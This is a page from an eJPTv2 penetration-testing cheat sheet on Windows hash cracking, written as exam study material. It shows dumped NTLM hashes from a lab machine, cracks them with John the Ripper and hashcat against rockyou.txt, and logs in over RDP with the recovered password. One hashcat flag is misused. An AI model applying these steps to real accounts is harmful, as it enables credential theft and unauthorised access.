EJPTV2 Cheat Sheet by - Yash Mehta
  • Information Gathering & Enumeration
    • Reconnaissance
      • Passive information gathering
      • Active information gathering
    • Enumeration
      • SMTP
      • MySQL Enum
        • Metasploit
        • Mysql tool,Brute force
        • Nmap
      • HTTP Enum
        • random tools
        • Nmap
        • Metasploit
      • SSH Enum
        • Nmap,Login,Hydra
        • Metasploit Modules
        • Metasploit Brute force
      • FTP Enum
        • nmap,hydra,Login
        • Metasploit
      • SMB Enum
        • smbmap
        • nmap
        • smbclient,rpcclient,enum4linux
        • metasploit,hydra
      • SMTP Enum
    • Vulnerability Scanning
      • WMAP(web application vulnerability scanner)
      • Nessus
      • Metasploit
  • Vulnerabilities in services
    • IIS WEBDAV
    • SMB/SAMBA
    • RDP
    • WinRm
    • APACHE
    • FTP
    • SSH
    • HTTP
    • SMTP
    • PHP
    • MySQL
    • Sun Glassfish
    • Workflow platform(Processmaker)
  • Exploitation
    • Windows Exploitation
      • IIS WebDav
        • msfvenom,metasploit
      • SMB
        • Brute force and Login
        • Eternal blue vulnerability
      • RDP
        • Bruteforce and Login
        • Bluekeep
      • WinRm
        • Brute force and Authentication
      • HTTP
        • HttpFileServer httpd 2.3(Rejetto)
        • BadBlue httpd 2.7
      • MySQL
      • Workflow platform(Processmaker)
      • Sun GlassFish
      • CVE-2021-44228 - Apache Log4j
      • Apache Tomcat
    • Linux Exploitation
      • Apache httpd 2.4.7-XODA Vulnerability
      • Sun Glassfish
      • Apache-Shellshock(Bash)
        • Metasploit Exploitation
      • FTP
        • Brute Force
        • ProFTPD 1.3.3c
        • vsftpd 2.3.4 - Backdoor Command Execution
      • SSH
        • Brute Force
        • libssh Authentication Bypass Scanner
      • SAMBA
        • Brute Force
        • Samba smbd 3.X - 4.X (Samba 3.5.0 -RCE)
      • SMTP
        • Brute Force
        • Haraka < 2.8.9 - Remote Command Execution
      • PHP
        • PHP < 5.3.12 / < 5.4.2 - CGI Argument Injection
      • CVE-2021-44228 - Apache Log4j
    • Payloads
      • Encoding Payloads
      • Injecting Payloads into PEs
  • Post Exploitation
    • Privilege Escalation
      • Windows Privilege Escalation
        • Win Kernel Privesc
        • UAC Bypass Akagai64.exe
        • UAC Bypass:Memory Injection
        • PrivescCheck script
        • Access Token
        • Credentials Dumping
      • Linux Privilege Escalation
        • Cron Jobs
        • SUID
        • chkrootkit 0.49
        • Misconfigured Permissions Files
        • Misconfigured SUDO Privileges
        • Credentials Dumping
    • Hash Dumping
      • Windows hash dumping
        • MimiKatz,Kiwi
        • Pass the hash
      • Linux Hash Dumping
      • Crack the Hash
        • Windows Hash cracking
        • Linux Hash Cracking
        • Metasploit
    • Pivoting
    • Transferring Files
    • Meterpreter
      • Commands
      • Shell to Meterpreter
    • Persistence
      • Windows Persistence
        • persistence_service msf module
        • Enabling RDP(msf,admin password change)
        • Enabling RDP & New user
      • Linux Persistence
        • Adding backdoor user
        • SSHkey persistence module
        • Persistence via SSH Keys
        • Cron Jobs
    • Clearing Tracks
      • Windows clearing tracks
      • Linux clearing tracks
    • Local Enumeration
      • Windows Local Enumeration
      • Linux Local Enumeration
  • Web App Pentesting
Powered by GitBook
On this page
  • Dumping Hashes
  • #Cracking Hashes
  • #JohnTheRipper
  • #Hashcat
  1. Post Exploitation
  2. Hash Dumping
  3. Crack the Hash

Windows Hash cracking

PreviousCrack the HashNextLinux Hash Cracking

Last updated 1 year ago

Dumping Hashes

❗ In order to set up persistence, administrative privileges are required.

hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
bob:1009:aad3b435b51404eeaad3b435b51404ee:5835048ce94ad0564e29a924a03510ef:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

  • Open a new tab and create a .txt file with the dumped hashes. Paste the Administrator and bob hashes

Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
bob:1009:aad3b435b51404eeaad3b435b51404ee:5835048ce94ad0564e29a924a03510ef:::

#Cracking Hashes

  • Metasploit module can be used to brute-force the hashes.

#JohnTheRipper

  • In this case John The Ripper will be used as an example

- Open Source password security auditing and password recovery tool available for many operating systems

john --list=formats | grep NT
	netntlm, netntlm-naive, net-sha1, nk, notes, md5ns, nsec3, NT, o10glogon
john --format=NT hashes.txt
# It will use the default wordlist

  • Use the rockyou.txt wordlist instead

gzip -d /usr/share/wordlists/rockyou.txt.gz
john --format=NT hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

#Hashcat

  • Crack NTLM hashes with hashcat brute-force

hashcat -a 3 -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt 

hashcat -a 3 -m 1000 --show hashes.txt /usr/share/wordlists/rockyou.txt 
    8846f7eaee8fb117ad06bdd830b7586c:password
    5835048ce94ad0564e29a924a03510ef:password1

  • Try RDP login

xfreerdp /u:Administrator /p:password /v:10.2.24.37

- Open Source advanced password recovery utility, supporting five unique modes of attack for over 300 highly-optimized hashing algorithms

auxiliary/analyze/crack_windows
john
hashcat